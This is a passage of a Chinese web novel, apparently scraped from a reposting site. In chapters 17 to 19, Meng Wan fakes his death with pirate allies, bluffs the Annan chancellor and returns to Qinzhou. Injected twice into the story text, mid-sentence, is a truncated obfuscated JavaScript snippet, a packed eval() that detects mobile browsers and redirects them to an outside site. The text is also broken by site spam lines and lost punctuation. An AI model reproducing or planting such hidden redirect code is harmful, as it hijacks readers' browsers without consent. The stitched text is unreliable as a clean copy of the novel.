“是你!”和蚩羽过招了半天的正是夏垣的小厮俭儿,和他相处也有两月,竟然不知道他还是个二流高手,身手比之蚩羽也差不了多少的样子。 “你为什么这么做?”蚩羽心想难道他是夏大人的政敌派来的奸细?可也没必要追杀他们夫郎吧? 俭儿见自己已经暴露,一句多余的废话也没有,仍是拼着受伤的身体与蚩羽搏斗,仿若不死不休,已经把自己的生死置之度外的样子。 但他身手本来就差了蚩羽一筹,受了伤后更是不济,十招内就被蚩羽的长刀捅了个对心穿。 蚩羽这边刚松了口气,不远处一直装作普通遮面劫匪的另一人已经借机迅速逼近孟晚,他身形又快又急,显然比俭儿还要厉害,一直蛰伏就是为了保万无一失,只为了将孟晚一击毙命。 “都给老子站着别动!把值钱的都掏出来!”正在这时突然一个个抓钩被扔到船舷上来,下一瞬间,漆黑的海面上竟然靠拢过来七八艘小船, 海上太黑了,客船上又乱七八糟,一时竟没人发现这艘客船不知什么时候被海寇给盯上了。 所有人都没想过会出现这个变故,连那些蒙面杀手都停了手。 要杀孟晚的男人冷酷的双眸中闪过一丝意外,但脚步分毫没有停顿,几乎是一刹那就出现在了孟晚面前,抬剑欲刺。 “这个好看,抓回去给老大快活快活!”惦记孟晚大的人还不少,在楚辞和蚩羽的防备下,紧挨着客船的海寇出手飞快,竟然抢先一步把孟晚给拖到了小船上面。 要杀孟晚的男人身形一转,立刻就要追着上小船,但从旁边船上同样飞身上来一个戴着斗笠的男人拦住了他。 两人一句话都没说,十分默契的打斗在了一起,一时间难分上下。 斗笠男人的动作像是一个讯号,其他船只上的海寇动作极快地跳上客船,与那些遮了面的杀手搏斗起来。 而小船上的海寇则提起孟晚的衣领,上下打量打量,满意道:“不错,这小脸俊的,咱们老大就稀罕这一口。” 孟晚像是个受人摆布的棉布娃娃,奋力挣扎那几下像是在给人挠痒痒,轻易被海寇给扔进船舱。 “老大喜欢听话的,这么烈,干脆杀了算了。”海岛语调随意,甚至在说出话的当口真的挥刀对倒在船舱里的孟晚砍了过去,鲜红的血喷洒在麻布做成的船舱上,一直透到外面。 与海寇缠斗在一起,想杀孟晚的那个男人一怔,没想到不用他动手孟晚就被解决了。 楚辞从孟晚被人在他眼前劫走后就仿佛傻了,他嘴巴张口想喊想叫却发不出半点声音,反倒是眼泪先被激了出来。 爹! 他抖着手一把拽下腰间一块水头一半的平安扣,从下面坠着的比手指头粗不了多少的香袋中取出一包什么东西。 这会儿蚩羽已经和跳上船的海寇交上了手,本来也有许多蒙面的杀手在靠近孟晚所在小船,但见到孟晚被海寇一刀砍死,全都停下了动作。 楚辞已经开始不管不顾的往小船上跳了,与此同时手里那包东西不分敌我的挥洒开,被海风吹的到处都是。 只要是动作慢些,不经意间触到粉末的人,便开始从碰到的位置腐烂。 “不对劲!老五老六快闪开!”船上杀完人的海寇想起了某些事情,在楚辞上船的瞬间跳到海里。 蚩羽见状同样扔了手里的刀跳到了海里,逮住疑似杀了孟晚的海寇就是一顿胖揍。 楚辞趴在船上揪着那人飘在海面的头发,蚩羽在海里尽往海寇身上招呼。 海寇被揍得哎呀痛呼,“你这小哥儿来真的啊?” “什么真的假的,把我们夫郎交出来!交出来,交出……嗯?”蚩羽懵住了,他看着紧贴着船底下,扒着块小破木板的孟晚。 这是什么情况? 夫郎在这里,刚才船舱里的血又是谁的? 他停了楚辞却还没放手,而且眼见着发了狠,又要从身上哪里掏出点什么东西往海寇的嘴巴里塞。 “小辞,别,夫郎没事。”蚩羽用气音对楚辞说。 没事?真的没事? 疯狂的理智瞬间回归,楚辞顺着蚩羽指向的地方望去,果然见孟晚扶在木板上,手紧紧的抱着木板不敢松开,拼命在给他使脸色。 楚辞手上的力道一松,药包在掉入海里的一瞬间被眼疾手快的蚩羽捞到手里,往客船上扔去。 被揍得够呛的海寇快气死了,但现在正事要紧,当着所有人的面将楚辞也掀翻在海里,再把船推离客船吆喝道:“兄弟们,这破船上有没有油水?” “有个屁的油水!都是高手,快撤!”上面的人边嚎边往海里跳,他们各个都是水中好手,入了水便如同鱼入大海。 要杀孟晚的男人总觉得有哪里不对,他本能拦住与他交手的海寇,但对方并不恋战,见同伴们都一一下了海,也要摆脱他要往海里跳。 可要杀孟晚的男人并未捋顺头绪,并不肯放海寇离开,两人打出了真火气,这时要杀孟晚的男人才意识到他心底的怪异感。 面前这个海寇刚才没有使出全力! 他已经是一流高手,世间罕有,与他同级者都是江湖上数的清名号的,与此人打斗时对方竟然还游刃有余? 一掌被面前的海寇打退,要杀孟晚的男人在对方跳海的瞬间脑子里灵光一现,“浪里白龙,你是葛全!” 葛全头也没回,招呼自家兄弟快速撤离。 “褚哥,我们还追不追?”客船上的杀手问道。 冯褚冷着脸把布巾扯开,“追?只怕你们追上去都会送了命,回去。” —— “孟夫郎,你看你的好儿子给我揪的!”刚才抓住孟晚被揍了一顿的海寇一脸委屈。 这会儿他们已经上了岸,停靠在一个海边小渔村里,尚且还在安南国的范围内。 众人在村口一户人家借住,围在院里的灶房外说话。 孟晚洗了澡换了身干净的衣裳,闻言颇为心虚的说:“孩子还小,是冲动了些,大哥不要和他们计较。” “我是你范二哥。”范二没好气的说完抬头看看另一头帮孟晚晾衣服的楚辞,这个“孩子”个头比他还高,他上哪儿说理去? 葛全过来踢了范二一脚,“不满意把晚哥儿年前送过来的果珍罐和藕粉都退回去。” 范二咧着嘴笑,“满意满意,全哥,我这不是和晚哥儿开开玩笑嘛,你看你说的。” 葛全没理他,递给孟晚一碗清炖的小黄鱼,里头还铺着两颗野菜。“来的有些晚,没受到惊吓吧?” “不晚不晚,正正好好。”孟晚接过碗吃了一口,灶房门口有个三十来岁的夫郎便看着他笑,那是范二的夫郎。 孟晚回了一个笑,“谢谢二嫂,很好吃。” “爱吃就多吃,锅里还有虾饼。”范二夫郎爽快的笑说。 他们与孟晚之间早有走动,对这位官夫郎一直都很好奇,真见到了又觉得哪儿哪儿都和想象中不一样。 “夫郎,这到底是怎么回事啊?”蚩羽从上了岸就一直想找机会问孟晚,他实在不理解为什么突然他们就遇袭,又和这群海寇一起走。 楚辞晾好衣服,也把耳朵支了起来。 孟晚耐心的挑着鱼刺,慢条斯理的一口口吃碗里的鱼肉,“这些人都是我的朋友,从夏大人要找我一起去安南后,我就开始联系他们。” 蚩羽:“……啊?”他实在不理解为什么。 孟晚没有要解释的意思,反而问起葛全,“葛大哥,吉婆岛上的人抓住了吗?” 葛全还没说话,范二便先抢着说了:“抓到了,我们去的时候那小子正想跑呢,全哥把他腿打断了扔在北海渡口了,那边有咱们的人在,跑不了他的。” 孟晚最惦记的就是这事,闻言瞬间松了口气,“那就好。” 葛全问他,“接下来你要去哪儿?回钦州找宋大人?” 孟晚心里自有打算,“回去是要回去,但要等夏垣先回……对了,锦容呢?” 葛全眸色中染上一丝暖意,“你不是说通儿也在钦州?我先送他去钦州找通儿了。” 孟晚点点头,“也好,等夏垣走后,我们就回去找他们。” “刚才船上的那个高手,好像认出了我,会不会耽误你的计划?”葛全想到最后那人脱口而出的话,有些歉意的问道。 孟晚倒是不在意,“便是没认出你,他们也不会轻易相信我就那么死了,多半也会怀疑的,无碍。只要后续其他的布置不出纰漏,我也只是个无关紧要的小角色罢了。” 孟晚只管做好了他的这一环,其余的,就不用他费心了。 第17章 博弈 “如何?夏垣见冯褚回来,立即询问道。 冯褚脸色怪异,“属下不知孟晚究竟有没有死。 夏垣一时没理解他话中的意思,“连你亲自出马都没有得手?他身边的蚩羽应不是你的对手? “中途被另一伙人插了一手,孟晚被他们掠走了。冯褚想到葛全凌厉的身手,不得不实话实说,“那人身手极高,我不是对手。 “连你都不是对手?也罢,孟晚算是个角色,能杀了掌控他手上珍罐坊是锦上添花,不能杀还有罗家在源源不断的给廉王殿下赚钱,倒也不差岭南这块肥肉。 他最开始本来只想让孟晚做个见证人,因为宋亭舟和秦家人都不合适,只有孟晚的身份恰到好处。 夫君是四品大员,和秦世子交好,名下珍罐坊又有太子的手笔,最适合让他亲眼见证太子的死讯。 但渐渐的,同孟晚相处短暂的几月内,他发现此人并不受他控制。 想法太多,人太机灵,甚至习惯于掌控全局,这是习惯了上位者的姿态后,无论如何伪装都伪装不出来的气势。 不可掌控便只能杀了,由他自己呈报朝廷消息,虽说会有将自己暴露的风险,但他不能将孟晚这样的潜在风险带去安南国都。 夏垣有种预感,把人带过去走一遍“流程,可能会出大乱子。 确定不了孟晚的死讯,夏垣半点都没耽搁,当即带着冯褚直奔安南国都。 他这点没骗孟晚,这趟确实是为了太子殿下而来,却不是为了救人,而是为了**。 太子若是死在安南人手里,大家皆大欢喜。廉王还能借机出兵安南为兄长报仇,博个贤名。但若是太子没死…… 他就只能当那个刽子手了。 孟晚若是个蠢的,他带孟晚去安南国想必对方也发现不了什么端倪。偏偏那么聪明,在吉婆岛的时候就发现了什么端倪,捣毁了罗家一处赚钱的好地方,又全身而退。 真可惜没能让他死在岛上。 夏垣直到到了安南国都还在惋惜。 —— “安南国主是个年轻的帝王,上位不久手段狠辣,这些从他登上皇位后,对钦州的种种筹谋中能看得出来。但安南有一个致命的缺点…… 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 夏垣不想让孟晚留在安南,但他就偏偏就是没走。孟晚坐在小船上同葛全等人商议,一群人听孟晚侃侃而谈,或是不明所以,或是面露沉思。 “我听说老安南王是被逼宫才死,他十六个儿子被现在的安南王杀剩了三个。”范二唏嘘说道:“真是个狠人,难怪人家能成事,咱们只是做做水运糊口。” 他常年混迹在北海一带的海域,天南地北的人都接触,杂七杂八的事听了不少。 孟晚若有所思,“安南的国土面积小,安南王空有野心却不得施展,定是想迫切的扩展领土发展势力的,难怪这么急。” “真要去安南国都吗?安南王不是那么好见的。”葛全站在船舱外面问。他的肤色比孟晚还白,像是怎么晒也晒不黑一样,忽略他怀里的剑,看起来比宋亭舟还像个正经书生。 孟晚心中早有打算,他低头在晃晃悠悠的矮桌上费力写信,嘴上回着葛全的话,“去是肯定要去的,但没必要去见安南王。” 他把写好的信仔细封好口,递给范二,“范二哥,一会儿我们下船离开之后,还要麻烦你帮我送信。” 范二个头小,嗓门大,“嗨!这有什么麻烦的?举手之劳,还没谢过你给我们这一帮子兄弟介绍买卖呢!” “既然都是朋友,那我就不矫情了,范二哥,什么时候和二嫂去西梧府,我请你们吃酒!”孟晚很喜欢和葛全的朋友打交道,和风重似的,没什么心眼,在这个普通人吃顿饱饭都难的时代,他们对朋友格外赤诚。 一船的人都笑了,觉得孟晚这个小哥儿着实有趣,“哈哈哈,好,咱们等着你的酒!” 范二一行人行事洒脱,将孟晚他们一路顺着河道送进了安南国都外,这才告辞离开。 孟晚身边多了个葛全,信心大增,却也没有贸然进城,反而在郊外的借住下来,天天在附近晃悠。 “夫郎,我们在等什么?”蚩羽是个闲不住的性子,在这里住着还不如出去打架,于是抓耳挠腮的问到孟晚那里,企图出征南伐。 孟晚难道想在这破地方待着吗?他也想立马回家,但夏垣不走,他也不能动,只好苦哈哈的守在安南,“等人,别急,应该就是这两天了。” 他们走水路过来,竟然比夏垣他们还快,而且孟晚不用派人守着城门入口,只需在原地等待,自然有人将夏垣的行踪汇报给他。 第二天蚩羽张 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 着嘴巴看着来人,“你不是那什么安……安……” “安博来了?”孟晚听到蚩羽的话忙走了出来。 安博这一路应该是挺艰辛的,形象和逃荒的难民也差不多。他苦笑着对孟晚开了口,还是那种不太流利的异域腔调,“差点被人灭了口,幸好唐老爷决定放我一马。” 夏垣是个正正经经的二品朝官,又不是**狂魔,在不知道安博也是孟晚这头的人前,是不会滥杀无辜的。 蚩羽已经彻底懵了,安博不是他们在半路救得异国翻译吗?怎么看这样子早就和孟夫郎认识?他们夫郎究竟有多少人脉,认识多少人啊? “一路上怕被人发现,所以没有单独与你说过话。”孟晚对安博解释道。 他救下安博还真是个意外,刚开始两人谁也不认识谁,直到后来安博说寻亲,孟晚才察觉到一点什么。 “那拓还好吗?他姐姐一直很惦念他。” 没错,安博就是那个拐走了那拓姐姐的异国人,导致燕林寨的头人现在还打光棍的罪魁祸首。 孟晚让蚩羽去给安博准备些换洗的衣服和热水,然后笑着对安博说:“他很好,可惜两国现在关系不太融洽,他没办法过来看那岚姐。” 孟晚从以前性子有些阴暗的人,历经多年,被宋家母子治愈,才变成现在这样心里稍微阳光明亮一些的。 他如今若是想获得旁人好感,是件很容易的事。安博洗去浑身的疲惫,换了身干净衣裳坐在饭桌旁扒饭。 纵使饿的不轻,但安博吃起东西来也没有狼吞虎咽,教养不错,家世应当还可以。 “我怕那个叫褚哥的男人发现,不敢跟的太近,幸好他们着急赶路,也没想到当时在广安府分开后我会跟着他们来国都。” 安博刚开始并不知道孟晚的身份,直到快离开吉婆岛的时候,孟晚才借机挑明。 也是怕安博知道的太多,面对夏垣的时候会露馅。 孟晚吃了块粽子,里面是用糯米、绿豆和五花肉做的,一点不腻,反倒有种粮食的谷香味。他给楚辞夹了个粽子,决定道:“这样说的话,夏垣已经进城最少一两日了,想来他也不会多待,等三天后我们也进城去。” 夏垣谋划一场,还不知孟晚像狗皮膏药似的跟了上来,这会儿正与一位身穿常服的白发老者说话。 “国相大人,你 你的朋友正在书荒,快去帮帮他吧 确定当时真的抓住了我国太子殿下?”夏垣对面前白发苍苍的安南国相提出质疑。 这位老者并没有见过太子殿下,甚至安南举国上下也只有一两个老人曾经随上一任国主远赴禹国盛京城朝贡,才见过太子殿下一面,但那时的太子还不是太子,只是位年轻皇子。 老国相颤颤巍巍的说:“本官亲自找回远驻边境的大将军回来辨认,此人确实就是当日两国交战时被护在中间的太子,贵国的秦小将军不顾自身安危极力保护此人,还受了大将军一刀,险些当场丧命。” 见他说的信誓旦旦,夏垣放下心中一半的疑虑,“那就开棺看看再说。” 他们眼下正在一块城外的一块风水宝地中。安南王就算有八百个胆子也不敢将禹国太子死在安南的事透露出去,于是心虚地找了块仅次于皇陵的好地方,打了一口金丝楠木的棺椁将人给厚葬了。 老国相脸颊垂老的肉皮抖动了两下,随后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266667|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟还真的按照夏垣所说,吩咐手下开始掘坟开棺。 先是将外层的椁盖撬开,然后是里层的棺盖,沉重的木材被掀翻在地,发出沉闷的巨响,随之而来的便是腐烂的酸臭味。 这股味道散了很久还是没有消失,夏垣做了一番心理建设之后才用手帕捂着鼻子往里面望去—— 里面的尸体身上的一套银灰色盔甲缺完好无损,可浑身的血肉却已经重度腐烂,看不出个人形来,更遑论认脸。 夏垣拧眉,这里面躺着的,真的是太子殿下吗? “冯褚,你下去,看看尸体左臂是不是有块骨头有陈年旧伤。”他隐隐记得太子年少时同秦家军上过战场,手臂受过重伤。 冯褚二话不说跳到棺椁里,仔细检查棺材里的尸体,他着重检查尸体的左臂,然后上去和夏垣汇报,“大人,这具尸体的体型确实和太子殿下相似,而且左臂上确实有旧伤。” 冯褚会**,却不会验尸,目前只能看出这么多来。 安南的人总不会知道他们国家太子的秘事吧? 得到冯褚确认,夏垣脑子里一直紧绷的弦终于松开。半晌后他叹了口气,“既如此,我们便回去吧。” 安南国相拦住夏垣,“虽然我不知道阁下是谁,但想必你是禹国皇子的人吧。”国相不是傻子,能向他们提供太子在战场的信息,不出意外定是同为皇室的人要借他们安南的刀**。 夏 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 垣怎么可能承认,他背过身去,头上的帷帽把他的脸遮得严严实实,“国相大人不必知道我是谁,这次你们能重创我禹国大军都是我家主人的功劳,我等助你们一臂之力,你们回报我们一次,这是一件极为公平的交易。” 国相仍是没有命令属下让开,他满口说道:“可若是你回禹国,将你们太子死在安南的消息泄露出去,禹国皇帝定然不肯善罢甘休。”他倒是清醒异常,没有被一场胜仗冲昏了头脑。 夏垣顿了顿,声音中突然带上了一丝笑意,“国相大人实属多虑,尸首在你们手里,你们说没看见,又有谁能作证呢?我若是你,就干脆将尸体烧了一了百了。” 国相沉吟,朝中知道太子死在安南的臣子很少,几个知情人里不是没人想过这个法子,但没人敢动,也没人敢第一个将这种话宣之于口。 这时冯褚抽剑出手,在众人眼皮子底下削掉了老国相的一缕胡子,动作之快,稍有偏移恐怕掉的就不是胡子而是老国相的脑袋了。 偏偏国相的一众手下竟无一人反应过来,可见之前夏垣和孟晚一起上路的时候,冯褚还刻意隐藏了身手。 他的举动告诉在场所有人,今日除非是国相要将事情闹大,否则这么点人根本拦不住他们离开。 眼睁睁地看着夏垣离开,老国相无可奈何的耷拉下眼皮,神情仿佛更苍老了几分。他老了,说出的话再没有以前的威信,很多事情都已无力阻止。 “老头,你真相信他的话吗?” 夏垣前脚刚走出去还不到半柱香的时间,孟晚他们就无缝衔接一般的凑过来。 哪怕没听到夏垣和安南国相说什么,孟晚也能猜到三分。 “他是不是叫你把尸体烧了死无对证?”孟晚同样头戴帷帽,由葛全护着过来。 “你们是谁?”这情景同夏垣找上**有多相似,老国相的眼皮子一跳,跟走了两个,怎么又来了两个? 禹国人没完了? 孟晚轻笑一声,“我们是谁不重要,重要的是你、和你们的安南王都被骗了。” 比起夏垣,老国相更不相信突然就这么冒出来的孟晚,他携裹着沧桑岁月地嗓子吐出一句,“你这话是什么意思?” 听出他语气中的不信任,孟晚依旧仿若未觉,他诚恳的说出一句格外令人惊悚的话来,“你信不信,这边你烧了尸体,下一刻禹国的军队就会踏进安南疆土?” “不可能!”老国相苍老的声线带上一丝颤抖,“钦州的军队因我国泄洪而被重创,而我国大军却锐不可当,起码一年之内,禹国都不可能出兵!” 第18章 死讯 “哈哈哈。”孟晚像是听到了什么好笑的事“没想到安南国的国相竟然这么天真。” 他此刻形象怎么也不像个正派人物说完猛地收回笑容如变脸一样冷声道:“安南弹丸之地真以为能和禹国抗衡?我国若有决心灭了你们何必等上一年。” “你……”老国相怒火中烧却不得不承认孟晚说的话确实是事实他们国小势微态度强硬几分或许能让大国高看一眼但若说干翻人家那是痴人说梦。 孟晚将人家奚落了一通转眼又换了个软和一点的语气“但是国相也不必担忧太过若你肯答应我一点小小的要求我自然能保安南国三年平安。” 他张嘴就来随便安了个年限反正也没有与他对峙胡说八道孟晚最在行了。 “就凭你?连面都不敢露的鼠辈?”老国相上下打量他一眼语气极为不屑。 孟晚轻笑一声语调肆意嚣张“这您就说错了不露面才说明我身份至关紧要是真正能做得了主的人。” 老国相不是傻子没有实际证明光凭孟晚一张嘴他是无论如何都不会相信的。 好在孟晚也早有准备。 “国相既然不信何不去边境探查一番看看我禹国的大军是不是早就蓄势待发等着一声令下便立即冲进安南?” 老国相心头一颤松垮的皮肉突然有种紧绷感不是他突然重返年轻而是孟晚的话让他毛骨悚然。 因为他知道这种事完全有可能真的发生做为敌国国相他显然也知道秦家和太子的关系。眼下孟晚又有胆让他证实这事就严重起来了。 老国相竭力稳住微微摇晃的身形 松了口就证明有的谈孟晚隐在帷帽下的唇勾起一个好看的弧度可惜这会儿没人能欣赏的到“我要安南王把刚才那人的书信交予我再手书一封给我禹国廉王的信。” 老国相深深的看了他一眼而后说道:“我要向国主请示一番。” “这是自然。”孟晚做了个请的手势然后又不动声色的退到葛全身后。 葛全剑不离手随便从一旁揪了根枯草枝拿在手上也不知他是怎样用的内劲下一刻那根枯草枝就插在了安南国相的头上吓得那老头差点摔倒在地。 “哎呀实在对不住 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 我这位大哥手滑了,国相大人没事吧?孟晚装模作样的说道。 老国相一天之内被惊吓几次,甚至都有些麻木了,“你们不用试探我,我们安南也是有绝顶高手的,为表和平,不会主动出手动你们分毫! 放屁。 孟晚心道,那就是打不过,能打得过老国相能忍到现在? 一是国微,二是人微。 他心中升起危机感,要是禹国哪天不如别人,岂不是他也要被人骑在头上拉屎。别人也会如他欺负老国相这般欺负自己? 不成,说什么也不能让廉王那样的货色登基! ——钦州军营。 打从收到孟晚的信,已经康复的秦艽便三天两头的带着手下将士们去前线,与安南两军交界处,什么也不干,就是干溜达。 不光如此,连在钦州城处理政务的宋亭舟也带了一群府兵过来,换上普通士兵的衣服,随他们一起操练。 “秦指挥使这是在做什么,准备杀进安南军营,一雪前耻? “呸,什么猪脑子,现在咱们这边的人和安南军队差不多,杀进去同归于尽吗? “那咱们这天天的是在干啥?耍猴给对面的安南人看? “你管干什么,上面命令了照做就是了! “我好奇不行吗? “好奇你去问问那群府兵,听说整个岭南的府兵几乎都被宋大人给带过来了。 营帐内,秦艽正在追问宋亭舟,“宋大人,孟夫郎给你的信里有没有说到太子殿下的下落? 连日奔波,宋亭舟的肤色都深了两度,人也瘦了一圈,下颚线更显锋利,与秦艽站在一起,高挑的身形比对方还像个武官,但开口说话的时候,文臣的素养又显露无疑。 “如此机密之事,晚儿怎会书写到信件上?世子只管耐心等待,不日便应该会传回殿下的消息。他语调一如既往的沉稳,让人听了便不自觉的心安。 秦艽舒了口气,“倒也是这个道理,是我心急了。阿砚和通儿呢?我教他们打拳去。 宋亭舟漆黑的眸子透过房门看向外面,“在外面。 秦艽将沉甸甸的心思压在心底,大步出去寻找两个小崽子。 屋子里清净了之后,宋亭舟开始整理他的书籍,孟晚最近寄给他的一封信 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 被他放在手中摩挲久久没有放下。 秦艽出去后见俩小崽围在一个漂亮的小哥儿旁边哼哼唧唧的要给人家陪他们玩。 军营里都是军人宋亭舟带来的黄叶每天收拾衣物、给愈发挑食的阿砚和通儿做饭就已经废了不少功夫更没时间陪玩。 来看儿子的方锦容倒是喜欢带俩孩子去玩但宋亭舟不许。 他怕孟晚回来的时候自家孩子已经被方锦容玩丢了到时他要如何同晚儿交代? 因此两个小孩无聊的紧干脆将目光对准年龄不大的军医儿子。 “阿砚、通儿做什么呢?是不是在给安缘哥哥捣蛋?”秦艽走过去把俩小孩捞过来对裴军医的儿子温和的笑笑。 秦艽年轻、俊朗、英俊、家世无敌人又没什么架子从他靠近后裴安缘脸上的红就越来越深烫的他晕乎乎的“他们要找我玩。” “安缘哥哥还有很多重要的事要做你俩和我去打拳吧。”秦艽将俩孩子拽走临走前回望了裴安缘一眼。 两个朝夕相处的有情人对视眼睛里都是丝丝缕缕的缠绵情谊可比儿女情长更要紧的是太子殿下的音讯。 “不可能……不可能!夏大人你真的是亲眼所见?”秦艽赤红着眼睛拽着夏垣的衣领嗓音干涩的不像话神情也濒临崩溃仿佛经历了天崩地裂。若不是他身体强健此等状态已经晕死过去了。 夏垣不忍见他如此别过头去“本官亲眼见到殿下的尸身就那么躺在棺材里脸上并无易容的痕迹身上爬满蛆虫再无生还的可能还请世子节哀。” 秦啸云比秦艽多了个心眼他问:“既然尸首已经腐烂夏大人又是如何确定面容的?” 夏垣解释道:“他们安南有一种用玉石金缕织就的面具被安南王覆在太子殿下的脸上我当日所见太子殿下的尸身虽然面部有些许腐烂但还是能辨清容貌的。” 他编的有鼻子有眼不论是哪个国家的皇室都十分奢靡金缕玉衣是常态因此还真找不到这话的漏洞来。 秦啸云将拳头攥的“咔咔”作响他恨声道:“老子这就率军去将殿下的尸首抢回来!” 秦艽一抹眼睛“叔父我这就去点兵。” “两位真要如此意气行事吗?没有陛下命令 你的朋友正在书荒,快去帮帮他吧 夏垣苦口婆心地劝说道:“事情已成事实,两位不若老老实实的操练兵马,等陛下的诏令下来再奉旨行事。” 秦艽忍到了极致,手背额头的青筋都要暴起,他恨不得立马冲到安南的地盘大开杀戒,替太子姐夫报仇。 但他自己撒泼而已,违抗圣命是要牵连整个秦家的,秦艽头次感受到自己的无能无力。 他跑出营帐,像是在徒劳的发泄怒火,从宋亭舟的角度能看到外面一个穿着白衣的小哥儿跟着秦艽追了上去。 宋亭舟微微阖下眼皮,声音听不出半点情绪,“夏大人和我夫郎同去安南,怎地如今只有你归来,我夫郎却不知所踪?” “孟夫郎竟然还没回来吗?”夏垣惊讶的说。 他将当日他们分别的事说了一遍,对宋亭舟万分愧疚的说道:“当日身边无人可用,只得叫上机敏过人的孟夫郎一道前去,没想到竟让他出了意外……” “夏大人!”宋亭舟声音又低又沉,好似隐隐在压抑着些什么,“我夫郎可能是路上有事耽搁住了,说什么意外不意外的还言之过早。” 夏垣心中暗道:没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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提到孟晚,宋亭舟冷淡的眸子里染上一丝暖意,“多谢将军惦念,一切都还顺利,晚儿想必也快回来了。” ————安南定立县。 定立县是距离前阵安南军营战场最近的县城,一群被集结来的高手在前阵打探一番后,找到前两天到达县城安置的老国相,“国相大人,我等接连去了三日,禹国的军队确实蠢蠢欲动,甚至……” “甚至什么?”老国相的声音不怒自威,仔细听能发现其中似乎还带了丝惊恐。 其中一人谨慎地回禀:“甚至今日已经率军走到了两军交界处,我军准备迎战的时候他们才退去。” 老国相一屁股坐到椅子上,虽然早有准备,但没想到那小哥说的竟然的确为真。 半月后,孟晚揣着一封墨痕早就干透的信件,安然回到钦州地界。 彼时阿砚和通儿正在军营外的空地上蹴鞠,他俩也算是小孩中顶见过世面的了,上过山、下过水、经过水患、还去了边境大营! “好好好,通儿又进一个,现在是五筹了,阿砚你也加把劲啊!”方锦容给两个孩子当裁判,公平公正,谁输了晚膳要吃他做的,因此阿砚和通儿相当认真。 但通儿天赋异禀,才四岁就初初展露,很快就进了五个鞠,打的阿砚毫无还手之力,半天只得了一筹还疑似是通儿给他放了水。 容小叔做的饭菜啊! 正当阿砚绝望之际,一道堪比天籁的声音响起,“阿砚!” 孟晚、葛全、楚辞、蚩羽一行四人牵着马走近,秦将军收到消息在前面帮忙带路。 “阿爹!!!!!”阿砚不管地上来回乱滚的鞠了,迎着孟晚就跑了过去,狠狠扑在他身上。 他儿子是个小胖子,孟晚差点被被他撞出内伤来,“好了好了,都多大了,快起开,阿爹去梳洗一番。” 宋亭舟前两天回钦州处理些事情,这会儿不在军营,想必知道孟晚回来的消息后,很快会赶回来。 孟晚回来大家都很高兴,阿砚那个和通儿的“赌注”自然也不算数了。 第19章 思念 因为孟晚这回要等安南国相确认死心了之后,才能拿到他手里的信件,所以多耽误了些日子,怕宋亭舟等急了,紧赶慢赶的赶回钦州来。 他洗漱好后,换上黄叶给他准备的衣服,已经累的胳膊都抬不起来了。 “好阿砚,等明天,明天阿爹给你……给你做好……后面两个“吃的还没说完,孟晚就昏睡了过去。 “阿爹,阿爹你怎么了? 孟晚这模样不像昏睡,反而像晕倒了,楚辞小跑着过来给他把了脉,确认是劳累过度而不是真晕倒了,众人才放心。 秦世子这些天还是没有平静下来,他站在孟晚房间门口往里看,开口说话时带着浓重的鼻音,“辛苦孟夫郎走这么一趟,可惜姐夫还是没有救回来。说到后面他声音又开始哽咽。 秦啸云看着他仿佛水做得样子实在有些没眼看,张嘴想对他说些什么,可看到裴安缘往这边走,于是又住了口。 孟晚这一回来称得上是千呼万唤,军营这点重要人物都**在他这儿。 裴安缘之前见过孟晚,但不知道对方身份,眼下见他被众人拥簇,心里难免觉得怪异,又不想直接问秦艽,怕显得他刻意。 秦艽不知道他复杂的心情,特意给孟晚空出一个大点的石头房子,黄叶又将里头的被褥换成孟晚惯用的。 孟晚从上午回来就开始睡,睡得是昏天暗地,都不知天地为何物了。再醒来不出意外是被饿的。 眼睛睁不开,掀开了一条小缝察觉外面是黑的又紧忙闭上。四月份的岭南已经开始热了,孟晚闭着眼睛把身上的薄被踹开,意外碰到一条人腿。 他跟个盲人似的一路摸上来,触到身边人线条流畅的下巴,再往上是高耸的鼻梁……然后孟晚就把人给摸醒了。 宋亭舟翻了个身把他抱住,头埋在孟晚肩颈处熟练的啃了两口,“醒了?饿不饿? 他体感温热,蹭的孟晚鼻尖上都冒出了几粒汗珠,拿手扇了扇也没舍得推开宋亭舟,“饿了。 宋亭舟把头往上移,又在孟晚唇上啄了几下,这才下床去给他找吃的。 这会儿已经是后半夜了,宋亭舟穿着轻薄白绸亵衣,披上床头挂着的外衫走去厨房。 黄叶也不知道孟晚会睡 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 到什么时候,别的吃食都不好放,便在瓦罐里热着粥。 宋亭舟到厨房的时候,撞上了从里面出来的裴安缘,对方腼腆的打了个招呼,“宋大人,您怎么起的这么早? 这会儿已经是寅时,说是早起确实也可以。这里的将军们的小厨房,再过两刻钟,外面的伙房也该冒烟了。 宋亭舟淡淡地说:“嗯,过来找些吃的。 “哦。 宋亭舟找到黄叶热的粥,灶台下的**早就灭了,但瓦罐里的精米粥还留有余温。 他本来舀了一碗粥,想了想又将其倒了回去。 “吃的呢?孟晚坐在床边,翻出根蜡烛放在木凳上,惊讶的看他宋亭舟两手空空的回来。 “粥凉了,我包袱里备了些果子你先垫垫,一会儿黄叶起来再给你下两碗面条。宋亭舟从自己的包裹里取出个油纸包递给孟晚。 